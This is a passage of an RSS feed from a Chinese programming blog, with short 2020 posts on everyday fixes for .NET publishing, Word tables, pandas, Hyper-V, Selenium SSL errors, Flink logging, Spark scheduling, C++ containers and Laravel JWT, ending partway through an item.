    <item>
      <title>.net发布网站时提示严重性指定的路径或文件名太长，或者两者都太长。完全限定文件名必须少于 260 个字符，并且目录名必须少于 248 个字符。</title>
      <link>https://bchobby.github.io/posts/76dcdf4ed880ad2c6399b65ebdc872c4/</link>
      <pubDate>Thu, 18 Jun 2020 11:08:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76dcdf4ed880ad2c6399b65ebdc872c4/</guid>
      <description> 是因为临时文件夹太长，自己设个临时文件夹：&#xA;在发布的网站根目录中找到*.publishproj文件，在&amp;lt;PropertyGroup&amp;gt;节点内添加&amp;lt;IntermediateOutputPath&amp;gt;..\Temp&amp;lt;/IntermediateOutputPath&amp;gt;，将可以设置发布过程中的临时文件存放目录，这里设置的..\Temp将会在项目目录中自动创建一个Temp文件夹，&#xA;&amp;lt;Project ToolsVersion=&#34;4.0&#34; xmlns=&#34;http://schemas.microsoft.com/developer/msbuild/2003&#34;&amp;gt; &amp;lt;PropertyGroup&amp;gt; &amp;lt;Configuration Condition=&#34; &#39;$(Configuration)&#39; == &#39;&#39; &#34;&amp;gt;Debug&amp;lt;/Configuration&amp;gt; &amp;lt;Platform Condition=&#34; &#39;$(Platform)&#39; == &#39;&#39; &#34;&amp;gt;AnyCPU&amp;lt;/Platform&amp;gt; &amp;lt;ProductVersion&amp;gt;10.0.30319&amp;lt;/ProductVersion&amp;gt; &amp;lt;SchemaVersion&amp;gt;2.0&amp;lt;/SchemaVersion&amp;gt; &amp;lt;ProjectGuid&amp;gt;{931b5de2-a433-45c0-a8f1-b320be80eebe}&amp;lt;/ProjectGuid&amp;gt; &amp;lt;SourceWebPhysicalPath&amp;gt;$(MSBuildThisFileDirectory)&amp;lt;/SourceWebPhysicalPath&amp;gt; &amp;lt;SourceWebVirtualPath&amp;gt;/WebSite&amp;lt;/SourceWebVirtualPath&amp;gt; &amp;lt;TargetFrameworkVersion&amp;gt;v4.0&amp;lt;/TargetFrameworkVersion&amp;gt; &amp;lt;SourceWebProject&amp;gt;http://localhost:4354&amp;lt;/SourceWebProject&amp;gt; &amp;lt;SourceWebMetabasePath&amp;gt;/IISExpress/7.5/LM/W3SVC/9/ROOT&amp;lt;/SourceWebMetabasePath&amp;gt; &amp;lt;!--指定发布过程中临时文件的存放目录--&amp;gt; &amp;lt;IntermediateOutputPath&amp;gt;..\Temp&amp;lt;/IntermediateOutputPath&amp;gt; &amp;lt;/PropertyGroup&amp;gt; </description>
    </item>
    <item>
      <title>Word表格中文字不居中，怎么办？</title>
      <link>https://bchobby.github.io/posts/844344847fc5db1fedc1c797498a6537/</link>
      <pubDate>Thu, 18 Jun 2020 11:04:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/844344847fc5db1fedc1c797498a6537/</guid>
      <description>转载自品略图书馆 http://www.pinlue.com/article/2020/06/1500/0010739836400.html&#xA;Word表格中文字不居中，怎么办？&#xA;在工作中，相信大家都或多或少会用word来拟写通知文件，有时候文件中需要插入一些表格，表格中的文字明明在“开始”功能区的对齐方式里设置了“居中”，但是文字依然在表格中是偏上或者偏下的。有的小伙伴们就说了，是不是没有在“表格工具”或者“表格属性”中设置对齐方式为“居中”呢？的确有时候这种方式是可行的，但也有时候，即使这些地方都设置了“居中”，表格文字的位置还是偏上或者偏下的，这个时候，我们该怎么办呢？&#xA;处置方式一&#xA;选中整个表格，在“开始”功能区的对齐方式中选择“居中”对齐。&#xA;处置方式二&#xA;选中整个表格，单击“右键”，选择“表格属性”，在表格属性中“表格”功能区下方选择对齐方式中的“居中”。&#xA;处置方式三&#xA;处置方式三：选中整个表格，在上方“表格工具”功能区中选择“布局”，再选择对齐格式中的“居中”。&#xA;以上方法在一般情况下是可行的，但也存在特殊情况，比如都设置好了之后，呈现的结果如下所示：&#xA;这种结果还是不能满足我们的要求，这时候，我们就需要另想办法了。小编经过多番尝试后，发现有一种方式还是可行的，在此给大家作参考。&#xA;处置方式四&#xA;操作方式：步骤一：选中整个表格，在“开始”功能区中选择“段落”格式设置。&#xA;步骤二：在段落设置中，选择“缩进和间距”，在“行距”中选择“单倍行距”，最后点击“确定”。&#xA;在经过以上步骤之后，结果呈现符合使用需求，如下图所示：&#xA;以上方法适用于在基本的设置不能满足需求时进行使用。学会这种方式，再也不用担心word表格中文字不居中的问题了，小伙伴们，快学起来吧</description>
    </item>
    <item>
      <title>Pandas 写入excel报错UserWarning: Ignoring URL</title>
      <link>https://bchobby.github.io/posts/7ab0aafde01da42a914386fb3d8ed8af/</link>
      <pubDate>Tue, 16 Jun 2020 19:23:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ab0aafde01da42a914386fb3d8ed8af/</guid>
      <description>报错如下：&#xA;UserWarning: Ignoring URL..................................................with link or location/anchor &amp;gt; 255 characters pandas读写excel是常规又常用的操作，但是实际的工作中，不知道你会不会遇到这个错误的提示，分析一下并作记录。&#xA;原因：&#xA;出现这个的原因是pandas在写入excel是会对链接形式的数据（http或者https类型）有一个检测和长度的限制，一般是255，百度时看到有说可以自己更改的，这里没有实践，不做解释，有兴趣的可以自己尝试一下。&#xA;解决办法：&#xA;writer = pd.ExcelWriter(r&#39;图片匹配.xlsx&#39;, engine=&#39;xlsxwriter&#39;, options={&#39;strings_to_urls&#39;: False}) df2.to_excel(writer) writer.save() 注意的是后面的参数options里面就是对我们这个报错的解决方案。这样我们在写入时就不会默认把字符串里含有http或者https的str认为是链接，也就不会出现开头所说的长度的限制。&#xA;值得一提的是最后一行代码一定要加上，否则依然会出现一个报错，会告诉你文件没有关闭。另外ExcelWriter模块还有很多更加方便用处，可以存入不同的sheet，好像还可以以追加形式写入excel文件，具体操作和注意事项，下次再做详细记录。</description>
    </item>
    <item>
      <title>告别VM，用Hyper-V虚拟机Ubuntu20.04</title>
      <link>https://bchobby.github.io/posts/4e5689a5a748504e48aac6deb0ff7491/</link>
      <pubDate>Tue, 16 Jun 2020 14:48:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e5689a5a748504e48aac6deb0ff7491/</guid>
      <description>步骤说明&#xA;家庭版解决方案&#xA;运行的话就搜Hyper-V管理器&#xA;主机连不上的话，因为虚拟机没装 sudo apt install openssh-server&#xA;因为是裸装的系统，所以好多基本东西没装，有问题就装东西，比如没有make&#xA;sudo apt install gcc automake autoconf libtool make</description>
    </item>
    <item>
      <title>js里用append()和appendChild有什么区别？</title>
      <link>https://bchobby.github.io/posts/b594b4319801e845ea791cf529054ea1/</link>
      <pubDate>Tue, 16 Jun 2020 14:19:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b594b4319801e845ea791cf529054ea1/</guid>
      <description>parentNode.append()是还在试用期的方法，有兼容问题。&#xA;是在parendNode节点中最后一个子节点后插入新Node或者DOMString（字符串，插入后为Text节点）&#xA;与 parentNode.appendChild() 的 区别在于：&#xA;parentNode.append()可以同时传入多个节点或字符串，没有返回值；&#xA;而parentNode.appendChild()只能传一个节点，且不直接支持传字符串&#xA;(需要parentNode.appendChild(document.createTextElement(&#39;字符串&#39;))代替)，返回追加的Node节点。</description>
    </item>
    <item>
      <title>带有时间轴的echarts图表</title>
      <link>https://bchobby.github.io/posts/7a4cb26ae96104accc3016e72813466d/</link>
      <pubDate>Tue, 16 Jun 2020 09:10:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a4cb26ae96104accc3016e72813466d/</guid>
      <description>https://blog.csdn.net/r4NqiAn/article/details/49929795?locationNum=16&amp;amp;fps=1#2-%E6%95%88%E6%9E%9C%E5%9B%BE</description>
    </item>
    <item>
      <title>chromedriver SSL报错解决方案</title>
      <link>https://bchobby.github.io/posts/a94a27fad5cb96c69889b2ae5e379fa0/</link>
      <pubDate>Mon, 15 Jun 2020 08:54:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a94a27fad5cb96c69889b2ae5e379fa0/</guid>
      <description> 报错信息：&#xA;[3488:1356:0512/211222.342:ERROR:ssl_client_socket_impl.cc(1098)] handshake failed; returned -1, SSL error code 1, net_error -101&#xA;Chrome浏览器解决方案：&#xA;```handlebars from selenium import webdriver if __name__ == &#39;__main__&#39;: options=webdriver.ChromeOptions() options.add_argument(&#39;--ignore-certificate-errors&#39;) driver=webdriver.Chrome(chrome_options=options) driver.get(u&#39;https://python.org/&#39;) driver.close() 另外一个&#xA;chrome_options = Options() chrome_options.add_argument(&#39;--disable-extensions&#39;) chrome_options.add_experimental_option(&#39;excludeSwitches&#39;,[&#39;ignore-certificate-errors&#39;]) chrome_options.add_argument(&#39;--start-maximized&#39;) self.driver = webdriver.Chrome(chrome_options = chrome_options) </description>
    </item>
    <item>
      <title>g&#43;&#43;编译     warning: character constant too long for its type</title>
      <link>https://bchobby.github.io/posts/c30a27d0a4a08d91054615507b53b32d/</link>
      <pubDate>Sun, 14 Jun 2020 09:16:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c30a27d0a4a08d91054615507b53b32d/</guid>
      <description>只需要把 cout&amp;lt;&amp;lt;‘解决了’中的单引号，改成双引号就可以了</description>
    </item>
    <item>
      <title>Flink原理：Flink中的日志框架配置</title>
      <link>https://bchobby.github.io/posts/a9c0ae4a20218d70043f2b2d270ad6bf/</link>
      <pubDate>Sat, 13 Jun 2020 22:46:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9c0ae4a20218d70043f2b2d270ad6bf/</guid>
      <description>文章目录 1. 背景2. 日志门面slf4j2.1 slf4j + log4j2.2 slf4j + log4j2 3. 避免冲突4. 总结 1. 背景 很多同学在进行Flink开发时，无论是使用log4j或log4j2，常常出现各种问题，如下图所示：&#xA;今天我们就要拨开云雾见天日，聊聊日志相关的知识，搞清楚这些报错的原因。&#xA;众所周知，现代框架都是用门面模式进行日志输出，例如使用Slf4j中的接口输出日志，具体实现类需要由log4j，log4j2，logback等日志框架进行实现，如Flink的类中是这样输出日志的：&#xA;// org.apache.flink.api.java.ClosureCleaner import org.slf4j.Logger; import org.slf4j.LoggerFactory; @Internal public class ClosureCleaner { private static final Logger LOG = LoggerFactory.getLogger(ClosureCleaner.class); ... } 这种设计使得用户可以自由地进行日志框架的切换。&#xA;2. 日志门面slf4j slf4j全名Simple Logging Facade for Java，为java提供的简单日志Facade。Facade门面说白了就是接口。它允许用户以自己的喜好，在工程中通过slf4j接入不同的日志系统。slf4j入口就是众多接口的集合，它不负责具体的日志实现，只在编译时负责寻找合适的日志系统进行绑定。具体有哪些接口，全部都定义在slf4j-api中。查看slf4j-api源码就可以发现，里面除了public final class LoggerFactory类之外，都是接口定义。因此slf4j-api本质就是一个接口定义。要想使用slf4j日志门面，需要引入以下依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-api&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.7.25&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 这个包只有日志的接口，并没有实现，所以如果要使用就得再给它提供一个实现了些接口的日志框架包，比如：log4j，log4j2，logback等日志框架包，但是这些日志实现又不能通过接口直接调用，实现上他们根本就和slf4j-api不一致，因此slf4j和日志框架之间又增加了一层桥接器来转换各日志实现包的使用，比如slf4j-log4j12，log4j-slf4j-impl等。&#xA;2.1 slf4j + log4j Log4j + Slf4j的使用组合最为常见，依赖关系如下所示：&#xA;使用时要引入maven依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-api&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.7.25&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>Spark源码分析之调度框架详解</title>
      <link>https://bchobby.github.io/posts/193b8c1a7b5f86cacae1d26716a771f1/</link>
      <pubDate>Sat, 13 Jun 2020 16:20:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/193b8c1a7b5f86cacae1d26716a771f1/</guid>
      <description>文章目录 原理概述源码分析Job提交Stage划分Task提交Executor端运行Task Spark的调度框架分为资源调度和任务调度。Spark的资源调度是基于Yarn实现的，包含Driver和Executor资源的申请等，详细过程见博文 Spark源码分析之AM端运行流程（Driver） 和 Spark源码分析之CoarseGrainedExecutorBackend运行流程（Executor）；本文主要讲述Spark任务调度框架的原理和源码分析。 原理概述 由于 Spark Scheduler内部原理剖析 中的Spark任务调度总览章节感觉已经讲解的很清楚了，因此原理部分我们直接摘抄引用如下。&#xA;当Driver起来后，Driver则会根据用户程序逻辑准备任务，并根据Executor资源情况逐步分发任务。在详细阐述任务调度前，首先说明下Spark里的几个概念。一个Spark应用程序包括Job、Stage以及Task三个概念：&#xA;Job是以Action方法为界，遇到一个Action方法则触发一个Job；Stage是Job的子集，以RDD宽依赖(即Shuffle)为界，遇到Shuffle做一次划分；Task是Stage的子集，以并行度(分区数)来衡量，分区数是多少，则有多少个task； Spark的任务调度总体来说分两路进行，一路是Stage级的调度，一路是Task级的调度，总体调度流程如下图所示。&#xA;Spark RDD通过其Transactions操作，形成了RDD血缘关系图，即DAG，最后通过Action的调用，触发Job并调度执行。DAGScheduler负责Stage级的调度，主要是将DAG切分成若干Stages，并将每个Stage打包成TaskSet交给TaskScheduler调度。TaskScheduler负责Task级的调度，将DAGScheduler给过来的TaskSet按照指定的调度策略分发到Executor上执行，调度过程中SchedulerBackend负责提供可用资源，其中SchedulerBackend有多种实现，分别对接不同的资源管理系统。有了上述感性的认识后，下面这张图描述了Spark-On-Yarn模式下在任务调度期间，ApplicationMaster、Driver以及Executor内部模块的交互过程。&#xA;Driver初始化SparkContext过程中，会分别初始化DAGScheduler、TaskScheduler、SchedulerBackend以及HeartbeatReceiver，并启动SchedulerBackend以及HeartbeatReceiver。SchedulerBackend通过ApplicationMaster申请资源，并不断从TaskScheduler中拿到合适的Task分发到Executor执行。HeartbeatReceiver负责接收Executor的心跳信息，监控Executor的存活状况，并通知到TaskScheduler。&#xA;源码分析 首先我们先看任务调度的整体流程图（Spark-On-Yarn模式），如下：&#xA;Job提交 下面我们逐步进行源码分析（源码版本为Spark2.4.3）：&#xA;从上面我们知道Job的执行是由Action算子触发的。我们以rdd.count()为例看启动Job过程：&#xA;SparkContext#runJob()函数，重点分析SparkContext#runJob()函数，首先我们看其的四个参数分别为：&#xA;rdd: RDD[T]：提交Job的rdd。func: (TaskContext, Iterator[T]) =&amp;gt; U：在rdd的每个分区上运行的函数（运行在Executor端）。partitions: Seq[Int]：rdd的分区数组（分区个数如何确定？见 Spark源码分析之分区（Partition））resultHandler: (Int, U) =&amp;gt; Unit)：在rdd的每个分区运行完成后在Driver端的回调函数（运行在Driver端）。 action算子往往是Job的最后一步，和transformation算子类似也会先在Executor的Task任务中执行分区函数func，但不同的是当分区函数func执行完成后会把执行结果返回给Driver端并在回调函数resultHandler进行最终的结果处理（此步是在DAGScheduler#handleTaskCompletion()函数中调用监听函数job.listener.taskSucceeded(rt.outputId, event.result) -&amp;gt; JobWaiter#taskSucceeded()，最终完成调用resultHandler回调函数）。 由此结合上面截图的源码可知count算子在Executor端的Task任务调用func函数（Utils.getIteratorSize）累加分区数据个数，然后在Task执行完成后把累加的分区数据个数值返回Driver端执行resultHandler函数（(index, res) =&amp;gt; results(index) = res）放置在数组results中，最后对results数组存储数值进行sum获得最终统计的元素个数值。&#xA;注：在计算大数据量的时，使用某些action算子（例如：collect）容易引起OOM，这是由于这些算子传入SparkContext#runJob()函数的第二个参数func的实现逻辑返回的数据量过大，最终返回Driver端的多个分区的数据全部加载在内存中导致其OOM。因此，在计算的数据量较大的时候应慎用这些大量（甚至全量）返回分区数据给Driver的action算子。&#xA;我们继续往下分析，开始进入DAGScheduler的调度…&#xA;从上面代码可以看出，DAGScheduler的任务提交流程就是封装构建JobWaiter监听对象，JobWaiter主要作用就是异步监听任务的完成情况（在任务完成后会回调该监听对象），如果成功则在JobWaiter#taskSucceeded()中处理resultHandler回调函数，失败则捕获抛出异常。然后就可以通过构建JobSubmitted消息异步提交给DAGScheduler#eventProcessLoop等待事件驱动模型的处理。&#xA;DAGScheduler的事件驱动模型也是一个典型的生产者-消费者模型，通过事件阻塞队列缓存住各种事件，然后通过事件分发器里的常驻线程不断的从事件队列里取事件并将该事件交给相应的事件处理handler进行处理。事件驱动模型是在DAGScheduler初始化时构建启动的，如下图：&#xA;根据上面事件处理函数可知DAGScheduler#submitJob()提交的JobSubmitted消息事件是由DAGScheduler#handleJobSubmitted()响应处理，如下图：&#xA;一个Job可能被划分为多个Stage，各个Stage之间存在着依赖关系，下游的Stage依赖于上游的Stage，Stage划分过程是从最后一个Stage开始往前执行的，最后一个Stage的类型是ResultStage，非最后一个Stage的类型都是ShuffleMapStage。&#xA;ResultStage可以使用指定的函数对RDD中的分区进行计算并得到最终结果。ResultStage是最后执行的Stage，此阶段主要进行作业的收尾工作（例如：对各个分区的数据收集、打印到控制台或写入HDFS）&#xA;Stage划分 下面我们首先分析finalStage = createResultStage(finalRDD, func, partitions, jobId, callSite)看如何划分Stage呢？&#xA;首先看上图右侧的DAGScheduler#getShuffleDependencies()函数是对于给定的RDD获得所有的直接父shuffle依赖，其是整个Stage划分的核心函数，在生成Stage父子依赖时候多次调用，源码分析见代码。 分析上面截图可以看出创建ResultStage过程是在DAGScheduler#createResultStage()函数中首先调用DAGScheduler#getOrCreateParentStages()函数中，其首先会调用DAGScheduler#getShuffleDependencies()获得finalRDD的所有直接父shuffle依赖，然后根据获得的依赖依次调用DAGScheduler#getOrCreateShuffleMapStage()函数生成并返回直接父Stage，在调用DAGScheduler#getOrCreateShuffleMapStage()函数也会同时生成祖先Stage，并把所有Stage添加到stageIdToStage缓存，这样我们就完成了DAG中Stage的stage的拆分。我们继续分析DAGScheduler#getOrCreateShuffleMapStage()如下图：&#xA;如上图，DAGScheduler#getOrCreateShuffleMapStage()函数首先会调用DAGScheduler#getMissingAncestorShuffleDependencies()函数获得所有祖先shuffle依赖，并依次调用DAGScheduler#createShuffleMapStage()创建所有的ShuffleMapStage，此过程会把所有创建的ShuffleMapStage放在stageIdToStage缓存中，最后把finalRDD的直接父ShuffleMapStage返回供上游DAGScheduler#createResultStage()函数创建ResultStage。最后我们看DAGScheduler#createShuffleMapStage()的代码实现，如下图：&#xA;至此，DAG中Stage的划分源码就分析完成。下面给出一个示例可以参照理解Stage划分代码：&#xA;val conf = new SparkConf().setMaster(&#34;local[*]&#34;).setAppName(&#34;test&#34;) val sc = new SparkContext(conf) val fileInt = sc.</description>
    </item>
    <item>
      <title>C&#43;&#43;中vector的常用操作</title>
      <link>https://bchobby.github.io/posts/6c6d56375a8cb1eff209e981b4ba5ec6/</link>
      <pubDate>Sat, 13 Jun 2020 11:09:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c6d56375a8cb1eff209e981b4ba5ec6/</guid>
      <description>vector的常用操作 定义和初始化 vector&amp;lt;T&amp;gt; v1;//空vector vector&amp;lt;T&amp;gt; v2(v1);//v2包含v1所有元素的副本 vector&amp;lt;T&amp;gt; v2 = v1;//同上 vector&amp;lt;T&amp;gt; v3(n,val);//n个val vector&amp;lt;T&amp;gt; v4(n);//n个重复地执行了值初始化的对象 vector&amp;lt;T&amp;gt; v5{a,b,c,...};//包含了初始值个数的元素，每个元素被赋予相应的初始值 vector&amp;lt;T&amp;gt; v6 = {a,b,c,...};//同上 vector&amp;lt;vector&amp;lt;int&amp;gt;&amp;gt; matrix(row,vector&amp;lt;int&amp;gt;(col,0));//定义并初始化二维向量 插入 vector&amp;lt;int&amp;gt; a{1,2,3}; a.push_back(4);//在末尾添加4 a.insert(a.begin()+1,5);//在a的第1个元素前插入数值5 a.insert(a.begin()+1,3,5);//在a的第1个元素前插入3个数，其值都为5 a.insert(a.begin()+1,b.begin(), b.end());//b为数组，在a的第1个元素前插入b的全部元素，可以用于合并两个向量 删除 b.pop_back();//删除末尾元素 b.erase(b.begin()); //将起始位置的元素删除 b.erase(b.begin(), b.begin()+3); //将(b.begin(), b.begin()+3)之间的元素删除 截取 vector&amp;lt;int&amp;gt; b(a.begin(), a.begin()+3);//将a中从a.begin()开始的3个元素赋值给b vector&amp;lt;int&amp;gt; b; b.assign(a.begin(),a.begin()+3);//同上 交换 a.swap(b);//b为向量，将a中的元素和b中的元素进行整体性交换 头文件algorithm中的几个重要函数 排序sort&#xA;sort(num.begin(),num.end(),sortFun);//如果shinint型，第三个参数可以使用less&amp;lt; int&amp;gt;()从小到大排序或者greater&amp;lt; int&amp;gt;()从大到小排序，是自定义类型话或者复杂类型就需自己定义比较规则函数sortFun。&#xA;vector&amp;lt;int&amp;gt; num; sort(num.begin(),num.end());//默认是升序 倒置reverse&#xA;头文件algorithm&#xA;reverse(a.begin(),a.end());//将a倒置 复制copy&#xA;copy(a.begin(),a.end(),b.begin()+1); //把a中的从a.begin()（包括它）到a.end()（不包括它）的元素复制到b中，从b.begin()+1的位置（包括它）开始复制，覆盖掉原有元素 查找find&#xA;find(a.begin(),a.end(),10); //在a中的从a.begin()（包括它）到a.end()（不包括它）的元素中查找10，若存在返回其在向量中的位置 返回类型是迭代器，如果没有找到，则返回a.end()&#xA;返回元素 a.back();//返回a的最后一个元素 a.front();//返回a的第一个元素 a.at(ind);//返回下标为ind的元素 Set set跟vector差不多，它跟vector的唯一区别就是，set里面的元素是有序的且唯一的，只要你往set里添加元素，它就会自动排序，而且，如果你添加的元素set里面本来就存在，那么这次添加操作就不执行。要想用set先加个头文件set。</description>
    </item>
    <item>
      <title>无法加载 DLL“SQLite.Interop.dll”: 找不到指定的模块</title>
      <link>https://bchobby.github.io/posts/9a3a5391819501bd608098d2cdfb2c8e/</link>
      <pubDate>Fri, 12 Jun 2020 15:23:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a3a5391819501bd608098d2cdfb2c8e/</guid>
      <description>c#进行sqlite数据库连接时报异常：&#xA;无法加载 DLL“SQLite.Interop.dll”: 找不到指定的模块 一时未找到解决方案，后来经过多方尝试终于解决，在此分享下我的解决方案&#xA;关于SQLite.Interop.dll相信大家都已经有了，那么还报找不到指定模块的异常主要原因是在32位和64位系统下不兼容导致的，接下来只要做下兼容处理即可。步骤如下：&#xA;1、在项目目录下创建x86和x64文件夹 2、将SQLite.Interop.dll分别拷贝到x86和x64文件夹下 3、分别修改两个文件夹中SQLite.Interop.dll的属性 复制到输出目录：始终复制 再次运行就不会出现上述异常了，希望能帮助到遇到类似问题的小伙伴</description>
    </item>
    <item>
      <title>文件介绍及读写方式</title>
      <link>https://bchobby.github.io/posts/8146072ed417d106a281e899e9f3c59b/</link>
      <pubDate>Fri, 12 Jun 2020 13:57:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8146072ed417d106a281e899e9f3c59b/</guid>
      <description>目录 文件01. 文件的概念1.1 文件的概念和作用文件的作用 1.2 文件的存储方式文本文件和二进制文件 02. 文件的基本操作2.1 操作文件的套路2.2 操作文件的函数/方法2.3 read 方法 —— 读取文件2.4 打开文件的方式2.5 按行读取文件内容2.6 文件读写案例 —— 复制文件小文件复制大文件复制 03. 文件/目录的常用管理操作文件操作目录操作 04. 文本文件的编码格式（科普）4.1 ASCII 编码和 UNICODE 编码`ASCII` 编码`UTF-8` 编码格式 4.2 Ptyhon 2.x 中如何使用中文unicode 字符串 文件 01. 文件的概念 1.1 文件的概念和作用 计算机的 文件，就是存储在某种 长期储存设备 上的一段 数据长期存储设备包括：硬盘、U 盘、移动硬盘、光盘… 文件的作用 将数据长期保存下来，在需要的时候使用&#xA;1.2 文件的存储方式 在计算机中，文件是以 二进制 的方式保存在磁盘上的 文本文件和二进制文件 文本文件&#xA;可以使用 文本编辑软件 查看本质上还是二进制文件例如：python 的源程序 二进制文件&#xA;保存的内容 不是给人直接阅读的，而是 提供给其他软件使用的例如：图片文件、音频文件、视频文件等等二进制文件不能使用 文本编辑软件 查看 02. 文件的基本操作 2.1 操作文件的套路 在 计算机 中要操作文件的套路非常固定，一共包含三个步骤：</description>
    </item>
    <item>
      <title>关于MFC模态对话框dlg.DoModal（）返回-1的可能原因</title>
      <link>https://bchobby.github.io/posts/a0b33ac2204f3de8010333f216ef6b86/</link>
      <pubDate>Fri, 12 Jun 2020 11:30:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0b33ac2204f3de8010333f216ef6b86/</guid>
      <description> 关于MFC模态对话框dlg.DoModal（）返回-1的可能原因 CDialog::DoModal()函数的原型为：virtual INT_PTR DoModal(); DoModal的返回值：整数值，指定了传递给CDialog::EndDialog（该函数用于关闭对话框）的nResult参数值。如果函数不能创建对话框，则返回-1；如果出现其它错误，则返回IDABORT。 父窗口HWND无效 。存在无效的对话框资源ID。使用没有注册的的自定义控件，找到此控件删除能打开说明为此原因。对话框的某些控件创建失败：&#xA;RICHEDIT,要加上AfxInitRichEdit();添加AFX_MANAGE_STATE(AfxGetStaticModuleState());表示使用当前库内资源。 </description>
    </item>
    <item>
      <title>C&#43;&#43;中string的常用操作</title>
      <link>https://bchobby.github.io/posts/89533b3b043fd64b6351438fc8ef0345/</link>
      <pubDate>Fri, 12 Jun 2020 11:23:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89533b3b043fd64b6351438fc8ef0345/</guid>
      <description>string的常用操作 定义和初始化 string s = &#34;hello&#34;;//拷贝初始化 string s2(&#34;hello&#34;);//直接初始化 string s3(10,&#39;c&#39;);//直接初始化，内容是cccccccccc 读写string对象 string s1, s2; cin &amp;gt;&amp;gt; s1;//将string对象读入s1，遇到空白停止 getline(cin,s2);//读取一行赋给s2，遇到换行符停止 可以使用while循环读取未知数量的string对象。&#xA;empty和size操作 empty函数根据string对象是否为空返回一个对应的布尔值。&#xA;size函数返回string对象的长度，即string对象中字符的个数。&#xA;比较string对象 比较运算符逐一比较string对象中的字符，并且对大小写敏感。有相等性运算符(==和!=）和关系运算符(&amp;lt;、&amp;lt;=、&amp;gt;、&amp;gt;=），如果对应位置上的字符相同，较短的小于较长的；如果在某些对应的位置上不一致，比较第一对相异字符比较的结果。&#xA;插入 string str1; str1.push_back(&#39;a&#39;);//在str1的末尾插入字符&#39;a&#39; str1.insert(str1.begin(),&#39;a&#39;);//在指定位置前插入字符&#39;a&#39; insert用法总结&#xA;（1）在index位置插入count个字符：str.insert(0,2,‘6’);&#xA;（2）在index位置插入一个常量字符串：str.insert(0,“hello”);&#xA;（3）index位置插入常量字符串中的count个字符：str.insert(0,“hello”,3);//结果就是在str前插入了hel&#xA;（4）index位置插入常量string：str.insert(0,str);//在str前插入一个str&#xA;（5）index位置插入常量str的从index_str开始的count个字符：str.insert(0,str,1,3);&#xA;（6）使用迭代器：str.insert(str.begin(),‘a’);&#xA;（7）迭代器指向的pos位置插入count个字符ch：str.insert(str.begin(),2,‘a’);&#xA;拼接 string s1(&#34;abc&#34;); s1.append(&#34;def&#34;); s1 += &#34;def&#34;; 遍历 （1）下标法 for(int i = 0; i &amp;lt; s.size(); i++){ }&#xA;（2）正向迭代器 for(iter=s.begin();iter!=s.end();iter++){ }&#xA;（3）反向迭代器 for(riter=s.rbegin();riter!=s.rend();riter++){ }&#xA;删除erase （1）erase(pos,n); 删除从pos开始的n个字符&#xA;（2）erase(pos); 删除pos及以后的所有字符&#xA;（3）erase(position); 删除position处的一个字符(position是个string类型的迭代器)&#xA;（4）erase(first,last); 删除从first到last之间的字符（first和last都是迭代器）</description>
    </item>
    <item>
      <title>laravel5.8整合JWT</title>
      <link>https://bchobby.github.io/posts/b2fd1820fcaa1f5c2b514d6883c5d2fc/</link>
      <pubDate>Thu, 11 Jun 2020 16:26:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2fd1820fcaa1f5c2b514d6883c5d2fc/</guid>
      <description>记录一次laravel5.8开发的API接口，引入JWT的流程。&#xA;laravel+JWT的整合教程在网上有很多，根据网上的教程整合期间，还是踩了很多坑。&#xA;虽然这些坑都能在网上搜索到解决办法，但网上的其他教程都没有注明需要注意的点在哪里。&#xA;开始之前，先放两个链接。&#xA;jwt-auth for laravel的安装与使用.&#xA;JWT 完整使用详解【这篇很详细，讲得也很到位，基本看这篇就够了】.&#xA;我也是根据这几篇文章进行的整合。&#xA;laravel中使用的是jwt-auth库，那么先安装:&#xA;step1:&#xA;# 建议使用1.0以上版本 composer require tymon/jwt-auth step2：发布配置文件&#xA;# 这条命令会在 config 下增加一个 jwt.php 的配置文件 php artisan vendor:publish --provider=&#34;Tymon\JWTAuth\Providers\LaravelServiceProvider&#34; step3: 生成加密密钥&#xA;# 这条命令会在 .env 文件下生成一个加密密钥，如：JWT_SECRET=foobar php artisan jwt:secret step4：更新校验用户登录的模型&#xA;以User为例:&#xA;&amp;lt;?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Notifications\Notifiable; use Tymon\JWTAuth\Contracts\JWTSubject; use Illuminate\Foundation\Auth\User as Authenticatable; class User extends Authenticatable implements JWTSubject { use Notifiable; /** * 可以被批量赋值的属性. * @var array */ protected $fillable = []; protected $hidden = []; /** * 关联到模型的数据表 * * @var string */ protected $table = &#39;&#39;; /** * 表明模型是否应该被打上时间戳 * * @var bool */ public $timestamps = false; /** * Get the identifier that will be stored in the subject claim of the JWT.</description>
    </item>
    <item>
      <title>解决使用python过程中可能出现的编码问题UnicodeEncodeError</title>
      <link>https://bchobby.github.io/posts/a54d72c5d786a469131408cf30b68b70/</link>
      <pubDate>Thu, 11 Jun 2020 11:52:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a54d72c5d786a469131408cf30b68b70/</guid>
